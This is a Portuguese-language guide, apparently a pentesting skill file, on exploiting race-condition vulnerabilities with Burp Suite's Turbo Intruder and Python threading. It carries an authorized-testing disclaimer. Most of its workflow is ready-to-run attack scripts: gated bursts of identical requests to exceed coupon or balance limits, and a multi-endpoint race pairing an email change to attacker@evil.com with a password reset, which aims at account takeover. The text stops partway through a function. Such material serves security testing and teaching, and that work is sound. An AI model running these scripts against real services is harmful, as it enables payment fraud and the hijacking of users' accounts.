Explorando Vulnerabilidades de Condição de Corrida

Quando Usar

• Ao testar aplicações com funcionalidades baseadas em transações (pagamentos, transferências, cupons)
• Durante a avaliação de mecanismos de limitação de taxa ou de tentativas
• Ao testar fluxos de trabalho de várias etapas (cadastro, redefinição de senha, MFA)
• Durante a caça a bugs por falhas lógicas em operações que alteram o estado
• Ao avaliar aplicações com sistemas de gerenciamento de inventário ou saldo

Pré-requisitos

• Burp Suite Professional com a extensão Turbo Intruder instalada
• Compreensão da técnica de ataque de pacote único HTTP/2
• Habilidade de scripting em Python para scripts personalizados do Turbo Intruder
• Conhecimento de vulnerabilidades TOCTOU (Time-of-Check-to-Time-of-Use)
• Aplicação alvo com operações que alteram o estado (compras, votos, transferências)
• Múltiplas contas de usuário para testar condições de corrida entre usuários

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Etapa 1 — Identificar a Superfície de Ataque de Condição de Corrida

# Common race condition targets:
# - Coupon/discount code redemption (limit: 1 per user)
# - Account balance transfers
# - Inventory purchase (limited stock)
# - Rate-limited operations (login attempts, SMS verification)
# - Multi-step workflows (email change + password reset)
# - File upload + processing pipelines

# Capture the target request in Burp Suite
# Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder)

Etapa 2 — Configurar o Ataque de Pacote Único no Turbo Intruder

# Turbo Intruder script for single-packet race condition
# This sends all requests simultaneously in one TCP packet

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)

    # Queue 20 identical requests for the same operation
    for i in range(20):
        engine.queue(target.req, gate='race1')

    # Hold all requests until ready
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

Etapa 3 — Executar o Ataque de Limite Excedido

# Turbo Intruder script for coupon/discount limit bypass
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          requestsPerConnection=50,
                          engine=Engine.BURP2)

    # Send 50 coupon redemption requests simultaneously
    for i in range(50):
        engine.queue(target.req, gate='coupon_race')

    engine.openGate('coupon_race')

def handleResponse(req, interesting):
    # Flag successful redemptions (200 OK)
    if req.status == 200:
        table.add(req)

Etapa 4 — Explorar Condições de Corrida Multi-Endpoint

# Race condition between two different endpoints
# Example: Change email + trigger password reset simultaneously
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)

    # Request 1: Change email to attacker@evil.com
    email_change = '''POST /api/change-email HTTP/2
Host: target.com
Cookie: session=VALID_SESSION
Content-Type: application/json

{"email":"attacker@evil.com"}'''

    # Request 2: Trigger password reset (goes to original email)
    password_reset = '''POST /api/reset-password HTTP/2
Host: target.com
Content-Type: application/json

{"email":"victim@target.com"}'''

    engine.queue(email_change, gate='race1')
    engine.queue(password_reset, gate='race1')

    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

Etapa 5 — Testar com Alternativa de Threading em Python

import threading
import requests

TARGET_URL = "http://target.com/api/redeem-coupon"
COUPON_CODE = "DISCOUNT50"
SESSION_COOKIE = "session=abc123"

def send_request():
    response = requests.post(
        TARGET_URL,
        json={"coupon": COUPON_CODE},
        headers={"Cookie": SESSION_COOKIE},
        timeout=10
    )
    print(f"Status: {response.status_code}, Response: {response.text[:100]}")

# Criar barreira para sincronizar o início das threads
barrier = threading.Barrier(20)

def synchronized_request():

…